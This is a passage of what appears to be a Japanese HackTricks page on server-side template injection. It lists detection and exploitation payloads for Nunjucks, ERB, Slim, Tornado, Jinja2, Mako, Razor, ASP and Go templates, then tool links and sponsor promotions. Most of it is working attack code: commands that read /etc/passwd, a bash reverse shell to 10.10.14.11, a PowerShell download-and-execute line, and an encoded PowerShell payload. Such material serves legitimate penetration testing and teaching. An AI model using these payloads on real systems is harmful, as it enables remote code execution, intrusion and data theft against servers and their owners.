* \{{7\*7\}} = 49 * \{{foo\}} = 出力なし * \#{7\*7} = #{7\*7} * \{{console.log(1)\}} = エラー ```javascript {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}} ``` **詳細** * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) ### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` * `<%= foobar %> = Error` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **詳細情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Slim (Ruby) * `{ 7 * 7 }` ``` { %x|env| } ``` **詳細情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Python Pythonでの**砂箱をバイパスして任意のコマンドを実行するトリック**について学ぶには、以下のページをチェックしてください: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{foobar}} = Error` * `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **詳細情報** * [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado) ### Jinja2 (Python) [公式ウェブサイト](http://jinja.pocoo.org) > Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境、広く使用されておりBSDライセンスです。 * `{{7*7}} = エラー` * `${7*7} = ${7*7}` * `{{foobar}} なし` * `{{4*4}}[[5*5]]` * `{{7*'7'}} = 7777777` * `{{config}}` * `{{config.items()}}` * `{{settings.SECRET_KEY}}` * `{{settings}}` * `
` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - テンプレート形式** ```python {% raw %} {% extends "layout.html" %} {% block body %} {% endblock %} {% endraw %} ``` [**`__builtins__`に依存しないRCE**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/): ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Jinjaの乱用方法の詳細**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} 他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)にあります。 ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **さらなる情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Razor (.Net) * `@(2+2) <= 成功` * `@() <= 成功` * `@("{{code}}") <= 成功` * `@ <= 成功` * `@{} <= エラー!` * `@{ <= エラー!` * `@(1+2)` * `@( //C#Code )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AdABtAGUAdADYANAAuAGUAeABlAA==");` .NETの`System.Diagnostics.Process.Start`メソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例は、[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) で見つけることができます。 **さらなる情報** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Nothing * `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **詳細情報** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) パールであっても、RubyのERBのようなタグを使用します。 * `<%= 7*7 %> = 49` * `<%= foobar %> = Error` ``` <%= perl code %> <% perl code %> ``` ### GOにおけるSSTI Goのテンプレートエンジンでは、特定のペイロードを使用してその使用方法を確認できます: - `{{ . }}`: データ構造の入力を公開します。たとえば、`Password`属性を持つオブジェクトが渡された場合、`{{ .Password }}`でそれを公開できます。 - `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されています。 - `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは、"html"や"js"を追加せずに "ssti" を返すはずです。さらなる指示は、Goのドキュメント[こちら](https://golang.org/pkg/text/template)で確認できます。 **XSSの悪用** `text/template`パッケージを使用すると、XSSをペイロードを直接挿入することで簡単に行うことができます。一方、`html/template`パッケージはこれを防ぐために応答をエンコードします(たとえば、`{{""}}`は`<script>alert(1)</script>`となります)。ただし、Goでのテンプレートの定義と呼び出しはこのエンコーディングをバイパスできます:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} **RCEの悪用** `html/template`と`text/template`の間でRCEの悪用方法は大きく異なります。`text/template`モジュールでは、任意のパブリック関数を直接呼び出すことができます("call"値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは[html/templateの場合こちら](https://golang.org/pkg/html/template/)、[text/templateの場合こちら](https://golang.org/pkg/text/template/)で利用できます。 GoにおけるSSTIを介したRCEでは、オブジェクトのメソッドを呼び出すことができます。たとえば、提供されたオブジェクトに`System`メソッドがコマンドを実行する場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには通常、ソースコードへのアクセスが必要です。与えられた例のように: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **詳細情報** * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### その他の攻撃手法 他の攻撃手法については、[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)をチェックしてください。また、興味深いタグ情報は[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)で見つけることができます。 ## BlackHat PDF {% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %} ## 関連するヘルプ 役立つと思われる場合は、以下を参照してください: * [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md) * [Python magic functions](broken-reference/) ## ツール * [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) * [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## ブルートフォース検出リスト {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## 練習と参考文献 * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
​​​[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。 {% embed url="https://www.rootedcon.com/" %}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する * **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する